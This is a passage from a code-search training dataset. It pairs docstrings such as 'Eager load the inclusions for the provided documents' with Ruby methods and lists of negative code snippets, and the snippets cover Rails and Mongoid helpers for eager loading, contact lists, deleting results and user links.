CONTACT LIST ****\"\n show_params(params)\n \n # existing list contacts \n # to avoid adding duplicates to list\n # they will be displayed without checkbox\n @existing_contacts = @saved_contact_list.role_contactinfos\n \n # selected contacts\n @contact_ids = params[:role_contactinfos][:ids]\n \n @contacts = Array.new\n \n for contact in @contact_ids\n contact = contact.gsub('role_contactinfo_', '')\n role_contactinfo = RoleContactinfo.find(contact)\n @saved_contact_list.add_contact(role_contactinfo)\n \n @search_contacts = session[SELECTED_CONTACTS]\n @search_contacts.delete(role_contactinfo)\n session[SELECTED_CONTACTS] = @search_contacts\n \n # now get ids for RJS highlighting\n @contacts.push(generate_id(role_contactinfo))\n end\n \n end", "def update_contact(list_id, email, attributes={})\n endpoint = \"/api/v1/list/#{list_id}/update-contact/\"\n base_params = base_params(endpoint)\n custom_params = {\n \"email\" => email,\n 'attributes' => attributes\n }\n uri = post_api_uri(endpoint)\n http = setup_request(uri)\n result = http.post(uri.path, base_params.merge(custom_params).to_query)\n JSON.parse(result.body)\n end", "def create_list(options={})\n database_id = options[:database_id]\n list_name = options[:contact_list_name]\n visibility = options[:visibility]\n\n raise ArgumentError, \":database_id option is required\" unless database_id\n raise ArgumentError, \":list_name option is required\" unless list_name\n raise ArgumentError, \":visibility option is required\" unless visibility\n\n request_body = ''\n xml = Builder::XmlMarkup.new(:target => request_body, :indent => 1)\n xml.instruct!\n xml.Envelope do\n xml.Body do\n xml.CreateContactList do\n xml.DATABASE_ID database_id\n xml.CONTACT_LIST_NAME list_name\n xml.VISIBILITY visibility\n end\n end\n end\n\n doc = send_xml_api_request(request_body)\n result_dom(doc)['CONTACT_LIST_ID']\n end", "def add_list(contact_list)\n if contact_list.instance_of?(ContactList)\n list = contact_list\n elsif contact_list.to_i.to_s == contact_list\n list = ContactList.new(contact_list)\n else\n raise Exceptions::IllegalArgumentException, sprintf(Util::Config.get('errors.id_or_object'), 'ContactList')\n end\n\n @sent_to_contact_lists << list\n end", "def find_list_ids_by_email(email)\n call(\"listsForEmail\", email)\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Eager load the inclusions for the provided documents.
def eager_load(docs) criteria.inclusions.reject! do |metadata| metadata.eager_load(eager_loaded_ids(docs, metadata)) if !docs.empty? end self.eager_loaded = true end
[ "def load_inclusions(docs)\n criteria.inclusions.each do |metadata|\n metadata.eager_load(eager_loaded_ids(docs, metadata)) if !docs.empty?\n end\n end", "def eager_load(docs)\n criteria.inclusions.reject! do |metadata|\n unless docs.empty?\n parent_ids = docs.map(&:id)\n if metadata.macro == :referenced_in\n child_ids = load_ids(metadata.foreign_key)\n metadata.eager_load(child_ids)\n else\n metadata.eager_load(parent_ids)\n end\n end\n end\n end", "def preload(associations, docs)\n assoc_map = associations.group_by(&:inverse_class_name)\n docs_map = {}\n queue = [ klass.to_s ]\n\n while klass = queue.shift\n if as = assoc_map.delete(klass)\n as.each do |assoc|\n queue << assoc.class_name\n\n # If this class is nested in the inclusion tree, only load documents\n # for the association above it. If there is no parent association,\n # we will include documents from the documents passed to this method.\n ds = docs\n if assoc.parent_inclusions.length > 0\n ds = assoc.parent_inclusions.map{ |p| docs_map[p].to_a }.flatten\n end\n\n res = assoc.relation.eager_loader([assoc], ds).run\n\n docs_map[assoc.name] ||= [].to_set\n docs_map[assoc.name].merge(res)\n end\n end\n end\n end", "def full_preload(docs, inclusions, polymorphic_inclusions, nested_inclusions)\n preload(inclusions, docs)\n\n polymorphic_inclusions.each do |metadata|\n preload_polymorphic(metadata, docs)\n end\n\n preload_nested(nested_inclusions, docs)\n end", "def inclusions_loaded?(document)\n inclusions_loaded.has_key?(document.id)\n end", "def includes(*associations)\n # Normalize association list to strict nested hash.\n normalize = ->(list) {\n if list.is_a? Array\n list.map(&normalize).reduce(:merge)\n elsif list.is_a? Symbol\n { list => {} }\n elsif list.is_a? Hash\n hash = {}\n list.each do |key, value|\n hash[key] = normalize.(value)\n end\n hash\n end\n }\n associations = normalize.(associations)\n\n current_scope = @scope.includes(associations)\n\n add_conditions = ->(associations, scope) {\n associations.each do |association, nested|\n reflection = scope.reflect_on_association(association)\n if reflection && !reflection.options[:polymorphic]\n associated_klass = reflection.klass\n\n if associated_klass.respond_to? :restrict\n nested_scope = associated_klass.restrictions(@context).request_scope(:fetch)\n\n where_values = nested_scope.where_values\n if where_values.any?\n current_scope = current_scope.where(*where_values)\n end\n\n add_conditions.(nested, associated_klass)\n end\n end\n end\n }\n\n unless Heimdallr.skip_eager_condition_injection\n add_conditions.(associations, current_scope)\n end\n\n options = @options.merge(eager_loaded:\n @options[:eager_loaded].merge(associations))\n\n Proxy::Collection.new(@context, current_scope, options)\n end", "def apply_includes_to(query)\n return query unless _includes\n if query.respond_to?(:includes) # ActiveRecord\n query.includes(_includes)\n else # Chewy\n query.load(scope: -> { includes(_includes) })\n end\n end", "def prefetch_associations(includes, records); end", "def do_not_eager_load(*paths)\n mutex.synchronize { eager_load_exclusions.merge(expand_paths(paths)) }\n end", "def documents_for_iteration\n docs = documents[skipping || 0, limiting || documents.length] || []\n if eager_loadable?\n eager_load(docs)\n end\n docs\n end", "def with_eager_loading(document)\n selecting do\n return nil unless document\n doc = Factory.from_db(klass, document, criteria.object_id)\n eager_load([ doc ]) if eager_loadable?\n doc\n end\n end", "def eager_loaded_ids(docs, metadata)\n if metadata.stores_foreign_key?\n docs.flat_map{ |doc| doc.send(metadata.foreign_key) }\n else\n docs.map(&:id)\n end\n end", "def includes\n @include.try(:includes)\n end", "def strong_includes\n # The `include` param is optional. Ignore if not present.\n return unless params[:include]\n\n # Intersecting both arrays, keeping only the keys that appear in both\n permitted_includes & requested_includes\n end", "def include_associations!\r\n associations = self.class.totem_associations.keys\r\n return if associations.blank?\r\n associations.each do |association_name|\r\n next if serializer_options.remove_association?(self, association_name)\r\n next if serializer_options.skip_collect_association?(association_name)\r\n include! association_name, include: serializer_options.include_association?(self, association_name)\r\n end\r\n end", "def included_associations\n @included_associations ||= begin\n self.options[:include_associations] ||= []\n self.options[:include_associations].collect(&:to_sym)\n end\n end", "def apply_lazyloading\n @query = @query.includes(:user).includes(theme: :moderator)\n end", "def includes() return @includes end", "def preload_polymorphic(inclusion, docs)\n docs.group_by do |doc|\n doc.send(inclusion.inverse_type) # The {name}_type attribute in polymorphic relations.\n end.select { |type, _| type }.each do |type, docs|\n concrete_inclusion = inclusion.for_class_name(type)\n preload([concrete_inclusion], docs)\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Get the ids that to be used to eager load documents.
def eager_loaded_ids(docs, metadata) if metadata.stores_foreign_key? docs.flat_map{ |doc| doc.send(metadata.foreign_key) } else docs.map(&:id) end end
[ "def collection_ids\n @ids ||= collection.map {|e| e[\"id\"] }\n end", "def ids\n map { |x| x.id }\n end", "def ids\n @ids ||= []\n end", "def ids\n pluck primary_key\n end", "def ids_reader\n if loaded?\n load_target.reject(&:marked_for_destruction?).map(&:id)\n else\n load_from_solr.map(&:id)\n end\n end", "def ids\n @ids ||= term.list_ids.sort\n end", "def friendlier_ids\n @friendlier_ids ||= more_like_this_doc_set&.map { |d| d['id'] }\n end", "def ids\n @ids ||= term.list_ids.sort\n end", "def ids\n (1..get_item_count).map do |index|\n get_item_identifier index\n end\n end", "def ids\n @ids ||= @combinations.inject([]) do |total, combination|\n total + combination.ids\n end.uniq\n end", "def schema_article_ids\n ids = []\n if self.schema.respond_to?(:each_key)\n self.schema.each_key do |item|\n ids += self.schema[item]['ids']\n end\n end\n ids\n end", "def article_ids\n query('SELECT Id FROM KnowledgeArticle').map(&:Id)\n end", "def datastore_ids\n array = Array.new\n\n self.each(\"DATASTORES/ID\") do |id|\n array << id.text.to_i\n end\n\n return array\n end", "def document_ids\n (Array.wrap(documents) + Array.wrap(additional_document)).uniq.delete_if(&:empty?)\n end", "def ids_for_cache\n ids = @to_index.flat_map do |object|\n [find_parent_id(object), object.id] if object.respond_to?(:id)\n end\n ids.concat(@delete.map do |object|\n object.id if object.respond_to?(:id)\n end)\n ids.uniq.compact\n end", "def ids\n\t\tresult = []\n\t\t@parts.values.each {|prod| result << prod.id unless prod.nil?}\n\t\treturn result\n\tend", "def ids\n response.response['hits']['hits'].map { |hit| hit['_id'] }\n end", "def ids\n flat_list = []\n @parents.keys.sort.collect do |parent|\n flat_list += @parents[parent]\n end\n flat_list\n end", "def identifiers\n request[:ids]\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Is this context able to be eager loaded?
def eager_loadable? !eager_loaded && !criteria.inclusions.empty? end
[ "def eager_loading?\n @should_eager_load ||=\n eager_load_values.any? ||\n includes_values.any? && (joined_includes_values.any? || references_eager_loaded_tables?)\n end", "def eager_load; end", "def eager?\n content.type == :eager\n end", "def uses_eager_load?\n return opts[:eager_load] unless opts[:eager_load].nil?\n [:eager, :eager_only].include?(model.cti_subclass_load)\n end", "def eager_loading_use_associated_key?\n true\n end", "def eager_load_concurrently?\n v = @opts[:eager_load_concurrently]\n v.nil? ? model.always_eager_load_concurrently? : v\n end", "def eager_loading_use_associated_key?\n false\n end", "def load\n need_context = !loaded?\n result = super\n if need_context\n Context.register(\n records: ar_lazy_preload_records,\n association_tree: lazy_preload_values,\n auto_preload: preloads_associations_lazily?\n )\n end\n result\n end", "def eager_graph_lazy_dataset?\n true\n end", "def always_eager_load_concurrently?\n @always_eager_load_concurrently\n end", "def eager_graph_lazy_dataset?\n true\n end", "def strict_loading?\n @strict_loading\n end", "def loaded?\n @association.loaded?\n end", "def eager_load!\n super\n ActiveFedora::Scoping.eager_load!\n ActiveFedora::Aggregation.eager_load!\n ActiveFedora::Associations.eager_load!\n ActiveFedora::Attributes.eager_load!\n ActiveFedora::AttributeMethods.eager_load!\n ActiveFedora::Indexers.eager_load!\n ActiveFedora::Indexing.eager_load!\n ActiveFedora::Orders.eager_load!\n end", "def before_eager_load(&block); end", "def use_placeholder_loader?\n !self[:instance_specific] && !self[:eager_graph]\n end", "def lazy?\n @lazy\n end", "def lazy?\n @lazy\n end", "def eager_graph_lazy_dataset?\n self[:key].nil?\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
If the provided document exists, eager load its dependencies or return nil.
def with_eager_loading(document) selecting do return nil unless document doc = Factory.from_db(klass, document, criteria.object_id) eager_load([ doc ]) if eager_loadable? doc end end
[ "def with_eager_loading(document)\n selecting do\n return nil unless document\n doc = Factory.from_db(klass, document, criteria.object_id)\n eager_load_one(doc) if eager_loadable?(doc)\n doc\n end\n end", "def eager_load(docs)\n criteria.inclusions.reject! do |metadata|\n unless docs.empty?\n parent_ids = docs.map(&:id)\n if metadata.macro == :referenced_in\n child_ids = load_ids(metadata.foreign_key)\n metadata.eager_load(child_ids)\n else\n metadata.eager_load(parent_ids)\n end\n end\n end\n end", "def eager_load(docs)\n criteria.inclusions.reject! do |metadata|\n metadata.eager_load(eager_loaded_ids(docs, metadata)) if !docs.empty?\n end\n self.eager_loaded = true\n end", "def load_target\n return nil unless defined?(@loaded)\n\n if !loaded? and (!@owner.new_record? || foreign_key_present)\n @target = find_target\n end\n\n @loaded = true\n @target\n rescue CouchFoo::DocumentNotFound\n reset\n end", "def third\n eager_load([documents.third]).first\n end", "def fetch_doc\n request_docs if @cache.empty?\n doc = @cache.shift\n doc unless error?(doc)\n end", "def document_exists\n !@site.collections[@collection].nil? && !find_document.nil?\n end", "def delete(document)\n doc = (_loaded.delete(document._id) || _added.delete(document._id))\n unless doc\n if _unloaded && _unloaded.where(_id: document._id).exists?\n yield(document) if block_given?\n return document\n end\n end\n yield(doc) if block_given?\n doc\n end", "def full_document\n doc = self.document\n return unless doc\n return doc if self.includes.empty?\n\n doc_includes = self.class.active.any_in :name => self.includes\n\n doc_includes.each do |incl|\n doc = incl.full_document.merge doc\n end\n\n doc\n end", "def find_solr_document(document_url)\n results = fetch([document_url])\n solr_documents = results[1]\n return solr_documents.first if solr_documents.any?\n\n nil\n end", "def get_existing_published_document(doc)\n @caller.get_existing_published_document(doc)\n end", "def fetch(*keys)\n (key = keys.flatten.find { |k| key?(k) }) && find(key) ||\n fail(DocumentNotFoundError.new(keys, document_class))\n end", "def find_nested_document!(parent, child_assoc, child_model, child_id)\n document = find_nested_document(parent, child_assoc, child_model, child_id)\n unless document\n error 404, convert(body_for(:not_found))\n end\n document\n end", "def fourth\n eager_load([documents.fourth]).first\n end", "def eager_load; end", "def inclusions_loaded?(document)\n inclusions_loaded.has_key?(document.id)\n end", "def load_project_or_dataset\n self[:dataset].nil? ? load_project : load_dataset\n end", "def find_document( field, search_term )\n if field == @config[\"schema\"][\"unique_key\"].to_sym\n return get_document( search_term )\n else\n map_term = @document_cache_lookup[field][search_term]\n if map_term\n return get_document( map_term )\n else\n return nil\n end\n end\n end", "def document\n return parent.document unless parent.nil?\n nil\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Delete all the result data for this competition. Note: only works for Time Results and External Results.... (Judged events do not work).
def destroy_all_results authorize @competition results = @competition.scoring_helper.all_competitor_results if results.present? Competition.transaction do results.each(&:destroy) end flash[:notice] = "Deleted all data for this competition" else flash[:alert] = "No results to be deleted" end redirect_to @competition end
[ "def destroy\n @external_result.destroy\n\n respond_to do |format|\n format.html { redirect_to competition_external_results_path(@competition) }\n format.json { head :no_content }\n end\n end", "def destroy\n @time_result.destroy\n\n respond_to do |format|\n format.html { redirect_to competition_time_results_path(@competition) }\n format.json { head :ok }\n end\n end", "def destroy\n @competition_result.destroy\n respond_to do |format|\n format.html { redirect_to competition_results_url, notice: 'Competition result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_competitor_info\n\t\tResult.where(\"competitor_id\" => self.id).delete_all\n\tend", "def destroy\n @test_case_result.destroy\n respond_to do |format|\n format.html { redirect_to test_case_results_url }\n format.json { head :no_content }\n end\n end", "def clear_all\n Response.where( :test_id => self.id ).each do |response|\n response.delete\n end\n \n self.complete = false\n self.unanswered = nil\n self.queue = nil\n self.state = nil\n self.started_at = nil\n self.trial = nil\n self.study_pass = nil \n end", "def test_delete_result\n p \"test_delete_result\"\n diff_results = []\n subtask = Subtask.find_by_id(SUBTASK_ID)\n warning_ids = Warning.find(:all, :conditions=>[\"subtask_id = #{SUBTASK_ID}\"]).map do |warning| warning.id end\n original_file_ids = OriginalFile.find(:all, :conditions=>[\"subtask_id = #{SUBTASK_ID}\"]).map do |original_file| original_file.id end\n conditions = \"diff_results.old_task_id = '#{subtask.task_id}'\"\n conditions += \" OR diff_results.new_task_id = '#{subtask.task_id}'\"\n conditions += \" AND diff_results.analyze_tool_id = '#{subtask.analyze_tool_id}'\"\n # Find all diff_result corresponding with subtask\n diff_results = DiffResult.find(:all,\n :conditions => conditions)\n diff_result_ids = diff_results.map do |diff_result| diff_result.id end\n\n subtask.delete_result\n # Confirm the not delete subtask records\n assert_not_nil(Subtask.find_by_id(SUBTASK_ID))\n # Confirm the not delete analyze log records \n assert_not_equal 0, AnalyzeLog.find(:all, :conditions=>[\"subtask_id = #{SUBTASK_ID}\"]).length\n # Confirm not delete analyze config subtask records\n assert_not_equal 0, AnalyzeConfigsSubtasks.find(:all, :conditions=>[\"subtask_id = #{SUBTASK_ID}\"]).length\n # Confirm not delete analyze rule config subtask records\n assert_not_equal 0, AnalyzeRuleConfigsSubtasks.find(:all, :conditions=>[\"subtask_id = #{SUBTASK_ID}\"]).length\n # Confirm the deletion of wraning records\n assert_equal 0, Warning.find(:all, :conditions=>[\"subtask_id = #{SUBTASK_ID}\"]).length\n # Confirm the deletion of result records\n assert_equal 0, Result.find(:all, :conditions=>[\"subtask_id = #{SUBTASK_ID}\"]).length\n # Confirm the deletion of summaries records\n assert_equal 0, Summary.find(:all, :conditions=>[\"subtask_id = #{SUBTASK_ID}\"]).length\n # Confirm the deletion of result directories records\n assert_equal 0, ResultDirectory.find(:all, :conditions=>[\"subtask_id = #{SUBTASK_ID}\"]).length\n # Confirm the deletion of original_files records\n assert_equal 0, OriginalFile.find(:all, :conditions=>[\"subtask_id = #{SUBTASK_ID}\"]).length\n # Confirm the deletion of source code records\n assert_equal 0, SourceCode.find(:all, :conditions=>[\"subtask_id = #{SUBTASK_ID}\"]).length\n # Confirm the deletion of review records\n assert_equal 0, Review.find(:all, :conditions=>[\"subtask_id = #{SUBTASK_ID}\"]).length\n # Confirm the deletion of metric records\n assert_equal 0, Metric.find(:all, :conditions=>[\"subtask_id = #{SUBTASK_ID}\"]).length\n # Confirm the deletion of display metric records\n assert_equal 0, DisplayMetric.find(:all, :conditions=>[\"subtask_id = #{SUBTASK_ID}\"]).length\n # Confirm the deletion of warning result records\n # Confirm the deletion of diff warnign records\n # Confirm the deletion of comment records\n warning_ids.each do |warning_id|\n assert_equal 0, WarningsResult.find(:all, :conditions=>[\"warning_id = ?\", warning_id]).length\n assert_equal 0, DiffWarning.find(:all, :conditions=>[\"warning_id = ?\", warning_id]).length\n assert_equal 0, Comment.find(:all, :conditions=>[\"warning_id = ?\", warning_id]).length\n end\n # Confirm the deletion of original source code records\n original_file_ids.each do |original_file_id|\n assert_equal 0, OriginalSourceCode.find(:all, :conditions=>[\"original_file_id = ?\", original_file_id]).length\n end\n # Confirm the deletion of original diff result records\n assert_equal 0, diff_results.length\n # Confirm the deletion of diff source code records\n # Confirm the deletion of diff file records\n diff_result_ids.each do |diff_result_id|\n assert_equal 0, DiffSourceCode.find(:all, :conditions=>[\"diff_result_id = ?\", diff_result_id]).length\n assert_equal 0, DiffFile.find(:all, :conditions=>[\"diff_result_id = ?\", diff_result_id]).length\n end\n # Confirm task state is update after delete result\n assert_equal 6,subtask.task_state_id\n end", "def delete_auto_differential_expression_results\n Rails.logger.info \"Removing auto-calculated differential expression results in #{study.accession}\"\n study.differential_expression_results.automated.map(&:destroy)\n end", "def destroy\n @test_case_result = TestCaseResult.find(params[:id])\n @test_case_result.destroy\n\n respond_to do |format|\n format.html { redirect_to test_case_results_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ptest_result = PtestResult.find(params[:id])\n @ptest_result.destroy\n\n respond_to do |format|\n format.html { redirect_to ptest_results_url }\n format.json { head :ok }\n end\n end", "def clean_results\n @results = []\n end", "def destroy\n @game_result.destroy\n respond_to do |format|\n format.html { redirect_to game_results_url }\n format.json { head :no_content }\n end\n end", "def result_files\n logger.info \"data_points_contoller.results_files enter\"\n dp = DataPoint.find(params[:id])\n dp.result_files.destroy\n dp.save\n\n # Check if we want to delete anything else here (e.g. the results hash?)\n\n respond_to do |format|\n format.json { head :no_content }\n end\n logger.info \"data_points_contoller.results_files leave\"\n end", "def destroy\n @test_suite_result.destroy\n respond_to do |format|\n format.html { redirect_to test_suite_results_url, notice: 'Test suite result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @test_result = TestResult.find(params[:id])\n @test_result.destroy\n\n respond_to do |format|\n format.html { redirect_to test_results_url }\n format.json { head :no_content }\n end\n end", "def prune_results(round_id)\n results = Round.find(round_id).results\n # Every Result must have at least 1 corr/skip/incorr\n rt = results.select{|t| t.num_correct+t.num_skipped+t.num_incorrect == 0}\n if rt.length > 0\n puts 'Destroying ' + rt.length.to_s + ' Result records without answers'\n rt.each{|t| t.destroy}\n end\n end", "def destroy\n @data_result = DataResult.find(params[:id])\n @data_result.destroy\n\n respond_to do |format|\n format.html { redirect_to(data_results_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @result.destroy\n\n respond_to do |format|\n format.html { redirect_to results_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @testcase_result.destroy\n\n respond_to do |format|\n format.html { redirect_to(testcase_results_url) }\n format.xml { head :ok }\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Link to the current user's page (using link_to_user) or to the login page (using link_to_login_with_IP).
def link_to_current_user(options={}) if logged_in? link_to_user current_user, options else content_text = options.delete(:content_text) || 'not signed in' # kill ignored options from link_to_user [:content_method, :title_method].each{|opt| options.delete(opt)} link_to_login_with_IP content_text, options end end
[ "def link_to_current_user(options={})\n if current_user\n link_to_user current_user, options\n else\n content_text = options.delete(:content_text) || I18n.t(\"not signed in\", :default => \"not signed in\")\n # kill ignored options from link_to_user\n [:content_method, :title_method].each{|opt| options.delete(opt)} \n link_to_login_with_IP content_text, options\n end\n end", "def link_to_current_user(options={})\n if current_user\n link_to_user current_user, options\n else\n content_text = options.delete(:content_text) || 'not signed in'\n # kill ignored options from link_to_user\n [:content_method, :title_method].each{|opt| options.delete(opt)}\n link_to_login_with_IP content_text, options\n end\n end", "def link_to_current_user(options={})\n\t\tif current_user\n\t\t\tlink_to_member current_user, options\n\t\telse\n\t\t\tcontent_text = options.delete(:content_text) || 'not signed in'\n\t\t\t# kill ignored options from link_to_member\n\t\t\t[:content_method, :title_method].each{|opt| options.delete(opt)} \n\t\t\tlink_to_login_with_IP content_text, options\n\t\tend\n\tend", "def log_in_link\n if current_page?(:controller => 'posts', :action => 'index') or\n current_page?('/blog') and !current_user\n\t link_to 'Log in', new_user_session_path, :class=>\"login\"\n\t end \n end", "def link_to_user(user, options={})\n raise \"Invalid user\" unless user\n options.reverse_merge! :content_method => :login, :title_method => :login, :class => :nickname\n content_text = options.delete(:content_text)\n content_text ||= user.send(options.delete(:content_method))\n options[:title] ||= user.send(options.delete(:title_method))\n link_to h(content_text), user_path(user), options\n end", "def log_in_or_log_out_link\n if current_user\n link_to \"Logout\", user_session_path, :method => :delete\n else\n link_to 'Log in', new_user_session_path, :class=>\"login\"\n end \n end", "def anchor_or_login(intended_destination, label, options = '')\r\n if logged_in?\r\n return intended_destination\r\n else\r\n return \"<a href=#{url_for(:controller => 'users', :action => 'login')} #{options}>#{label}</a>\"\r\n end\r\n end", "def link_to_user(user)\r\n\t\tlink_to user.display_name, :controller => 'account', :action => 'show', :id => user\r\n\tend", "def link_to_user(user)\r\n link_to user.name, :controller => 'account', :action => 'show', :id => user\r\n end", "def login_url_link\n link_to(t('mailers.login_here'), new_user_session_url, target: '_blank', rel: 'nofollow')\n end", "def link_to_login_with_IP content_text=nil, options={}\n ip_addr = request.remote_ip\n content_text ||= ip_addr\n options.reverse_merge! :title => ip_addr\n if tag = options.delete(:tag)\n content_tag tag, h(content_text), options\n else\n link_to h(content_text), login_path, options\n end\n end", "def account_link\n return link_to I18n.t('user.show'), user_path(current_user) if current_user?\n link_to I18n.t('navigation.sign_up'), new_user_path\n end", "def url_for_user_show(user)\n if logged_in?\n return url_for user_path(user)\n else\n return url_for login_path\n end\n end", "def link_to_user(user)\r\n link_to user.display_name, :controller => 'account', :action => 'show', :id => user\r\n end", "def link_to_user(user, options = {})\n link_path = '' # TODO: Link to the user page.\n link_to(link_path, options) do\n if block_given?\n yield(user)\n else\n display_user(user)\n end\n end\n end", "def signin_link\n view_context.link_to \"Sign In\", view_context.new_session_path(:user)\n end", "def current_user_url\n view_context.user_url(current_user)\n end", "def author_link(active_record_instance)\n if active_record_instance.user_id\n link_to h(active_record_instance.user.login), user_path(active_record_instance.user)\n else\n link_to active_record_instance.remote_ip, ip_path(active_record_instance.remote_ip)\n end\n end", "def login_link(text=nil)\n text ||= browserid_config.login.text\n target = browserid_config.login.path || '#'\n link_to text, target, class: :browserid_login\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Get the top / header line of a function definition file, and get function name and swapped form
def getTopLine(text) functionName = text.match(/(?<=function )([^\(]+)/)[0] swapped = "#{functionName}: #{text.gsub(/(?<=function) [^\(]+/, '')}" return({:name => functionName, :swap => swapped}) end
[ "def funcHeader\n svlines = readData\n line = svlines.join(\" \")\n if line =~ /^\\s+def\\s+(\\S+.*)$/\n func = $1.sub(/ +#.*$/, '')\n if line =~ /\\(([^\\)]+)\\)/\n args, parms = $1, ''\n args.split(/\\s*,\\s*/).each do |aparm|\n parms << \"* %10s: \\n\" % [aparm.sub(/\\s*=.*$/, '')]\n end\n parms.chomp!\n end\n marker = line.strip.sub(/\\s*\\(.*$/, '').sub(/^(def|class)\\s+/, '')\n bar = \"=\" * (72 - marker.size)\n puts <<EOH\n##{bar} #{marker}\n#{svlines.join(\"\\n\")}\n=begin\n--- Method: #{func}\n#{parms}\n=end\nEOH\n elsif line =~ /^\\s*(class|module)\\s+(\\S+)/\n marker = line.strip\n bar = \"=\" * (72 - marker.size)\n puts <<EOH\n##{bar} #{marker}\n#{svlines.join(\"\\n\")}\n=begin\n--- #{$1}: #{$2}\n=end\nEOH\n elsif line =~ /^\\s*module\\s+(\\S+)/\n puts <<EOH\n#{svlines.join(\"\\n\")}\n=begin\n--- Module: #{$1}\n=end\nEOH\n end\n end", "def funcHeader #{{{2\n svlines = readData\n # Make move to JS handler later\n if svlines.join(\" \") =~ /^\\s*function\\s+\\((\\S+.*)$/\n func = $1.sub(/\\s*\\(.*$/, '')\n if line =~ /\\(([^\\)]+)\\)/\n args, parms = $1, ''\n args.split(/\\s*,\\s*/).each do |aparm|\n parms << \" * %11s: \\n\" % [aparm.sub(/\\s*=.*$/, '')]\n end\n parms.chomp!\n end\n puts <<EOH\n/*************************************************************\n* Function: #{func}\n#{parms}\n*************************************************************/\n#{svlines.join(\"\\n\")}\nEOH\n elsif svlines.join(\" \") =~ /^\\s*function\\s+(\\S+.*)$/\n func = $1.sub(/\\s+.*$/, '')\n puts <<EOH\n#==========================================================================\n# Function: [#{func}]\n# Description: .\n# Use: .\n#==========================================================================\n#{svlines.join(\"\\n\")}\nEOH\n end\n end", "def function_header\n if token_is_not? :def\n return nil\n end\n require :def\n method_name = require :id\n require :open_parentheses\n argument_list = argument_list()\n require :close_parentheses\n { method_name: method_name.content, argument_list: argument_list }\n end", "def first_line_of_module_definition(file, line); end", "def extractFunctionMeta(line)\n res = \"\"\n numret = 0\n if line.include? '('\n mindex = line.index('(')\n sindex = line.index(')')\n res = line[3..(mindex - 1)]\n numret = line[(mindex - 1)..(sindex - 1)].length\n else\n spindex = (line.strip[3..line.length]).strip.index(' ')\n if spindex != nil\n res = line[3..spindex]\n numret = 2\n else\n res = line[3..line.length]\n numret = 0\n end\n end\n return res.strip, numret\nend", "def currentFuncProto source_line\n function_proto_pattern = /\\w+\\s+(\\w+)\\(\\)[^;]/ # [1] is the name of function\n\n func_match = function_proto_pattern.match source_line\n if func_match.nil?\n @last_func_name\n else\n func_match[1]\n end\n end", "def find_function_under_cursor\n position = doc.cursor_offset\n area = doc.get_all_text[0..position]\n area.reverse!\n \n function = Regexp.new /\\n\\s*([\\w\\&\\*\\(\\) \\=\\[\\]\\{\\}\\,\\:\\'\\\"]+) fed\\s*\\n/\n if ( match = area.match(function) )\n return match[1].reverse.split(/[ \\(]/).first\n end\n \n nil\n end", "def get_all_functions src_file\n code = IO.readlines(src_file)\n functions = []\n puts src_file\n code.each do |line|\n /^\\s*def\\s+([^\\s\\(]+)\\s?.*/ =~ line\n functions << $1 if $1\n end \n functions\n end", "def get_func_names\n code.scan(/function\\s([a-zA-Z\\-\\_0-9]+)/).uniq.flatten\n end", "def get_func_name (filestem)\n return $1 if filestem =~ /^(.+)_/\n filestem\nend", "def _caller_method(position=1)\n # caller.each_with_index do |c, i|\n # puts \"#{i}, #{c}\"\n # end\n caller[position].match(/`.*?'/).to_s[1..-2]\n end", "def header\n source_code.gsub /\\n^[^#].*/m, ''\n end", "def __caller_file__(caller_depth=0)\n caller[caller_depth][PutsDebuggerer::STACK_TRACE_CALL_SOURCE_FILE_REGEX, 1]\nend", "def find_calling_line(trace, method_name)\n trace.each_cons(2) do |line, next_line|\n if /(.*):(\\d+):in .(.*)'/ =~ line && \n $3 == method_name &&\n /(.*):(\\d+):in .(.*)'/ =~ next_line\n return [$1,$2]\n end\n end\n nil\n end", "def get_arguments_code\n\n # Stack trace certainly will be useful.\n stack_trace = caller\n\n # First of all, calling method name will be needed. It's simply parsed\n # from stack trace using regexp.\n method = stack_trace[0].match(/:in `(.*)'/)[1]\n\n # Going deeper, file path and line, where previous method was called are\n # parsed.\n t = stack_trace[1].match(/([^:]+):(\\d+):/)\n path = t[1]\n line_number = t[2].to_i\n\n # Read the file\n lines = []\n\n begin\n File.open(path, \"r\") do |io|\n lines = io.readlines\n end\n rescue Errno::ENOENT => e\n # May this file not exist at all? I don't know, but it will be foolish\n # to assume, that if I don't know, it cannot happen.\n return nil\n rescue IOError\n # This can happen always for several reasons\n return nil\n end\n\n # Now some folklore. It happens that the most widely used Ruby\n # implementation has bug in implementation of Kernel#caller. If method\n # invocation takes more than one line, instead of line where the name\n # of method was, we get one of the following lines (I suspect that it's\n # always the one with first argument, but dont know exactly).\n #\n # As workaround we go up the file until we find line containing method\n # name.\n #\n # Another digression: what if one of the lines contain method name which\n # is not its invocation, eg. inside string or comment? Well, then all\n # this will fail, and you get \"false != true\". It is a limitation, but\n # I can live with that.\n i = line_number - 1\n\n while i > 0 && lines[i].index(method).nil?\n i -= 1\n end\n\n # Code to search is crated as invocation line and all following code.\n # First line is trimmed to begin with method name.\n #\n # After that part of code from begin is moved to anther variable and\n # removed from code itself. This part will be called _fragment_.\n #\n # Initial fragment contains method name and opening bracket, eg:\n #\n # | fragment | code |\n # assert_equal(arg1, arg2)\\n# Some comment in next line\n code = lines[i..-1].join\n start = code.index(method)\n fragment = code[start, method.length + 1]\n code = code[(start + method.length + 1)..-1]\n\n sexp = nil\n\n # Now in loop we check if fragment contains valid (parsable) Ruby code.\n # Syntax error in code cause exception to be thrown. In that case, we just\n # add another char from code to fragment and check again, until success\n # or and of code.\n code.each_char do |ch|\n begin\n parser = RubyParser.new\n sexp = parser.process(fragment)\n break\n rescue Exception => 